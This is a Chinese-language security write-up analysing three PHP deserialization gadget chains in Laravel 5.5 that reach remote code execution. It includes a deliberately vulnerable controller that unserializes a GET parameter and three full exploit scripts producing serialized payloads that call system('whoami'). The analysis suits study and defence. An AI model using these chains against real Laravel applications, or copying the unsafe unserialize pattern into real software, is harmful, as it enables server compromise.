laravel5.5-序列化导致rce
laravel5.5-序列化导致rce 之前开分析给laravel5.4,5.7,5.8的序列化漏洞,所以继续我们的laravel框架序列化漏洞 1.1环境搭建 要分析框架漏洞我们肯定要搭建好环境,这里我是使用的安装包搭建的,也可以使用composer搭建 laravel安装包下载地址 然后使用phpstduy,快速搭建好。如下图。 1.2寻找利用点 laravel5.5中并没有修复5.4的序
laravel5.5-序列化导致rce
之前开分析给laravel5.4,5.7,5.8的序列化漏洞,所以继续我们的laravel框架序列化漏洞
1.1环境搭建
要分析框架漏洞我们肯定要搭建好环境,这里我是使用的安装包搭建的,也可以使用composer搭建
然后使用phpstduy,快速搭建好。如下图。

1.2寻找利用点
laravel5.5中并没有修复5.4的序列化漏洞所以我们这一次就不讨论之前5.4的序列化漏洞了,还记得上一次分析5.4的思路是找__call魔法函数,而这一次我们换一个思路。
这次是调用任意类的方法。
入口:5.5版本序列化的入口还是Illuminate\Broadcasting\PendingBroadcast

简单的解释一下为什么这个入口好利用?因为这里两个参数我们都可以控制,就有俩个思路,一个是去调用__call方法,另一个是去调用任意类的dispatch()方法。
所以我们就去搜索dispatch()方法,这里我们利用Illuminate\Events\Dispatcher类中的dispatch方法

为什么我们找的是这个类?因为下面有一个可能存在rce的地方。

所以现在就是看看$response = $listener($event, $payload);中的参数可以控制?去构造一个system(whoami)
$event变量是来自Illuminate\Broadcasting\PendingBroadcast类的$this->event我们可以控制。
所以接下来至少的利用都要去控制$listener变量。而$listener变量是来自getListeners()方法
我们跟进getListeners()方法

可以发现我们可以控制的参数是$this->listeners[]数组,并且这里的$eventName就是Illuminate\Broadcasting\PendingBroadcast类的$this->event为我们执行命令的参数,所以class_exists($eventName, false)为false,直接返回$listeners
然后返回dispatch函数进行foreach操作,这里我们已经可以控制$this->getListeners($event)的返回值,所以就可以控制$listener

而这里是执行system命令,就可以不管$payload变量,并且system函数支持2个参数

1.3构造触发
因为序列化的利用基本上在后期开发中写的,使用我们需要写一个触发点去验证poc.
在 /routes/web.php 文件中添加一条路由,便于我们后续访问。
Route::get("/","\App\Http\Controllers\DemoController@demo");
然后在/app/Http/Controllers/下添加 DemoController控制器,代码如下:(后面都是利用这个漏洞触发点)
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.5";
}
}
1.4exp
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;
function __construct($events, $parameter)
{
$this->events = $events;
$this->event = $parameter;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
function __construct($function, $parameter)
{
$this->listeners = [
$parameter => [$function]
];
}
}
}
namespace{
$b = new Illuminate\Events\Dispatcher('system','whoami');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
echo base64_encode(serialize($a));
}

执行成功~
1.5攻击流程
下面的攻击流程图,去掉了没有用的代码。

别着急,还有。。。。
2.1链子2
反正入口是一样的,并且思路就俩个,所以只要认真去寻找总是会有的。
所以这里我们在去找一个__call魔法函数的
在Illuminate\Support\Manager类中发现,并且这个类是抽象类,说明有一个类是实现他的,一会在去找这个类。

现在我们需要进跟进driver()方法,找一找有没有利用点,并且可以控制参数。


说明这个方法是抽象方法,现在我们就需要去寻找这个类,去实现这个方法的。
找到了Illuminate\Notifications\ChannelManager类,并且这个参数$this->defaultChannel我们可以控制

说明$driver变量可以控制,然后跟进createDriver函数,我们可以控制$this->customCreators[$driver]

然后去看一看callCustomCreator函数,发现了利用点,可能存在rce,并且$this->app我们可以控制。

现在就是需要去控制$this->customCreators[$driver]并且可以进入callCustomCreator函数。我们在返回createDriver函数看看。

这里我们可以控制$this->customCreators[$driver],让其等于system这样就可以进入if条件,并且$driver我们也可以控制,然后进入callCustomCreator(),执行命令。
2.2exp
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
function __construct($events)
{
$this->events = $events;
}
}
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
function __construct($function, $parameter)
{
$this->app = $parameter;
$this->customCreators = ['nice' => $function];
$this->defaultChannel = 'nice';
}
}
}
namespace{
$b = new Illuminate\Notifications\ChannelManager('system','whoami');
$a = new Illuminate\Broadcasting\PendingBroadcast($b);
echo base64_encode(serialize($a));
}

成功执行。
2.3攻击流程
下面的攻击流程图,同样去掉了没有用的代码。

什么?结束?别着急别着急,还有呢。。。
3.1链子3
我们还是去寻找__call魔法函数。在Illuminate\Validation\Validator类中找的

这里,我们可以控制$this->extensions[$rule],然后去查看一下callExtension()函数

发现利用点,call_user_func_array()。而这里的$callback可以通过$this->extensions[$rule];去控制, $parameters就是__call方法中的$parameters也就是Illuminate\Broadcasting\PendingBroadcast类的$this->event,使用我们可以rce。
最后我们只需要控制参数进入if (isset($this->extensions[$rule]))条件,就需要通过调试去看一看$rule变量的值

可以看到$rule变量的值是"",所以只要让其$rule变量等于""就可以进入if条件。进行下面的操作。

3.2exp
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;
function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation
{
class Validator
{
public $extensions;
function __construct($function)
{
$this->extensions = ['' => $function];
}
}
}
namespace{
$b = new Illuminate\Validation\Validator('system');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
echo base64_encode(serialize($a));
}

执行成功
3.3攻击流程
下面的攻击流程图,同样去掉了没有用的代码。

hhh...没有了,但是我相信还有的,感兴趣的师傅们可以去深入研究一下。
总结
- 这个漏洞应该说是比较简单的序列化,比较好理解,对于初学者来说比较容易上手
- 这个唯一的难点在处理一些变量中的一些细节问题
- all in all 多调试,多跟踪
师傅写得太详细了,点赞^^